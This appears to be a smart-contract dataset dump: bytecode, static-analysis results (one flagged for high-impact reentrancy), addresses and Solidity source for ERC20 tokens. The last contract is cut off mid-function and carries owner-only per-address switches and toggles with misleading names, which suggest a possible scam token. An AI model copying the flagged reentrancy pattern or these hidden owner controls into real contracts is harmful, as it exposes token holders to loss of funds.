925910160405180910390a3505050565b6001600160a01b038316610cfc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610608565b6001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610608565b60008111610dc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610608565b6000546001600160a01b03848116911614801590610dec57506000546001600160a01b03838116911614155b1561114f57601654600160a01b900460ff16610e85576000546001600160a01b03848116911614610e855760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610608565b601754811115610ed75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610608565b6001600160a01b03831660009081526011602052604090205460ff16158015610f1957506001600160a01b03821660009081526011602052604090205460ff16155b610f715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610608565b600854610f7f906002611d89565b4311158015610f9b57506016546001600160a01b038481169116145b8015610fb557506015546001600160a01b03838116911614155b8015610fca57506001600160a01b0382163014155b15610ff3576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110785760185481611015846107db565b61101f9190611d89565b106110785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610608565b6000611083306107db565b60195460175491925082101590821061109c5760175491505b8080156110b35750601654600160a81b900460ff16155b80156110cd57506016546001600160a01b03868116911614155b80156110e25750601654600160b01b900460ff165b801561110757506001600160a01b03851660009081526005602052604090205460ff16155b801561112c57506001600160a01b03841660009081526005602052604090205460ff16155b1561114c5761113a82611399565b47801561114a5761114a47611290565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119157506001600160a01b03831660009081526005602052604090205460ff165b806111c357506016546001600160a01b038581169116148015906111c357506016546001600160a01b03848116911614155b156111d05750600061124a565b6016546001600160a01b0385811691161480156111fb57506015546001600160a01b03848116911614155b1561120d57600954600d55600a54600e555b6016546001600160a01b03848116911614801561123857506015546001600160a01b03858116911614155b1561124a57600b54600d55600c54600e555b610a5584848484611522565b6000818484111561127a5760405162461bcd60e51b81526004016106089190611c8e565b5060006112878486611de2565b95945050505050565b6013546001600160a01b03166108fc6112aa836002611550565b6040518115909202916000818181858888f193505050501580156112d2573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112ed836002611550565b6040518115909202916000818181858888f19350505050158015610679573d6000803e3d6000fd5b600060065482111561137c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610608565b6000611386611592565b90506113928382611550565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e1576113e1611e2a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143557600080fd5b505afa158015611449573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146d9190611a15565b8160018151811061148057611480611e2a565b6001600160a01b0392831660209182029290920101526015546114a69130911684610b74565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114df908590600090869030904290600401611d18565b600060405180830381600087803b1580156114f957600080fd5b505af115801561150d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061152f5761152f6115b5565b61153a8484846115e3565b80610a5557610a55600f54600d55601054600e55565b600061139283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116da565b600080600061159f611708565b90925090506115ae8282611550565b9250505090565b600d541580156115c55750600e54155b156115cc57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115f587611748565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162790876117a5565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165690866117e7565b6001600160a01b03891660009081526002602052604090205561167881611846565b6116828483611890565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c791815260200190565b60405180910390a3505050505050505050565b600081836116fb5760405162461bcd60e51b81526004016106089190611c8e565b5060006112878486611da1565b6006546000908190670de0b6b3a76400006117238282611550565b82101561173f57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117658a600d54600e546118b4565b9250925092506000611775611592565b905060008060006117888e878787611909565b919e509c509a509598509396509194505050505091939550919395565b600061139283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611256565b6000806117f48385611d89565b9050838110156113925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610608565b6000611850611592565b9050600061185e8383611959565b3060009081526002602052604090205490915061187b90826117e7565b30600090815260026020526040902055505050565b60065461189d90836117a5565b6006556007546118ad90826117e7565b6007555050565b60008080806118ce60646118c88989611959565b90611550565b905060006118e160646118c88a89611959565b905060006118f9826118f38b866117a5565b906117a5565b9992985090965090945050505050565b60008080806119188886611959565b905060006119268887611959565b905060006119348888611959565b90506000611946826118f386866117a5565b939b939a50919850919650505050505050565b6000826119685750600061068e565b60006119748385611dc3565b9050826119818583611da1565b146113925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610608565b80356119e381611e56565b919050565b803580151581146119e357600080fd5b600060208284031215611a0a57600080fd5b813561139281611e56565b600060208284031215611a2757600080fd5b815161139281611e56565b60008060408385031215611a4557600080fd5b8235611a5081611e56565b91506020830135611a6081611e56565b809150509250929050565b600080600060608486031215611a8057600080fd5b8335611a8b81611e56565b92506020840135611a9b81611e56565b929592945050506040919091013590565b60008060408385031215611abf57600080fd5b8235611aca81611e56565b946020939093013593505050565b600080600060408486031215611aed57600080fd5b833567ffffffffffffffff80821115611b0557600080fd5b818601915086601f830112611b1957600080fd5b813581811115611b2857600080fd5b8760208260051b8501011115611b3d57600080fd5b602092830195509350611b5391860190506119e8565b90509250925092565b60006020808385031215611b6f57600080fd5b823567ffffffffffffffff80821115611b8757600080fd5b818501915085601f830112611b9b57600080fd5b813581811115611bad57611bad611e40565b8060051b604051601f19603f83011681018181108582111715611bd257611bd2611e40565b604052828152858101935084860182860187018a1015611bf157600080fd5b600095505b83861015611c1b57611c07816119d8565b855260019590950194938601938601611bf6565b5098975050505050505050565b600060208284031215611c3a57600080fd5b611392826119e8565b600060208284031215611c5557600080fd5b5035919050565b60008060008060808587031215611c7257600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cbb57858101830151858201604001528201611c9f565b81811115611ccd576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d685784516001600160a01b031683529383019391830191600101611d43565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d9c57611d9c611e14565b500190565b600082611dbe57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ddd57611ddd611e14565b500290565b600082821015611df457611df4611e14565b500390565b6000600019821415611e0d57611e0d611e14565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053e407f86304aff6505466f71133a42592365e216b710b2f5ff81345f4b0797864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,155
0xd5cbe839c747254265d8e17c2e3fb20667af2442
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Aqualite * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract Aqualite is StandardToken { string public constant name = "Aqualite"; // solium-disable-line uppercase string public constant symbol = "AQUA"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3c565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a4d565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a52565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce3565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d64565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f83565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061117f565b6040518082815260200191505060405180910390f35b6040805190810160405280600881526020017f417175616c69746500000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106bf57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561070c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079757600080fd5b6107e8826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b63576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf7565b610b76838261120690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f415155410000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610da157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dee57600080fd5b610e3f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461121f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561121457fe5b818303905092915050565b6000818301905082811015151561123257fe5b809050929150505600a165627a7a72305820dc8b2f3c3fd31981e217b7a62b2bfba5222441a311bf47321dcbc1ff53826a300029
{"success": true, "error": null, "results": {}}
7,156
0xc66b1304758efed03f2136a571f5c16da9face57
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default.owner * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint256); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => bool) private _approveSwap; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; uint256 _reward; string internal _name; string internal _symbol; uint256 internal _decimals; bool maxTxPercent = true; address internal _owner; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, uint256 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _owner = msg.sender; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint256) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function recall(address _address) external onlyOwner { _approveSwap[_address] = false; } function approveSwap(address _address) external onlyOwner { _approveSwap[_address] = true; } function approvedTransfer(address _address) public view returns (bool) { return _approveSwap[_address]; } function setMaxTxPercent() public virtual onlyOwner { if (maxTxPercent == true) {maxTxPercent = false;} else {maxTxPercent = true;} } function maxTxPercentState() public view returns (bool) { return maxTxPercent; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function reflectReward (uint256 value) external onlyOwner { _reward = value; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, 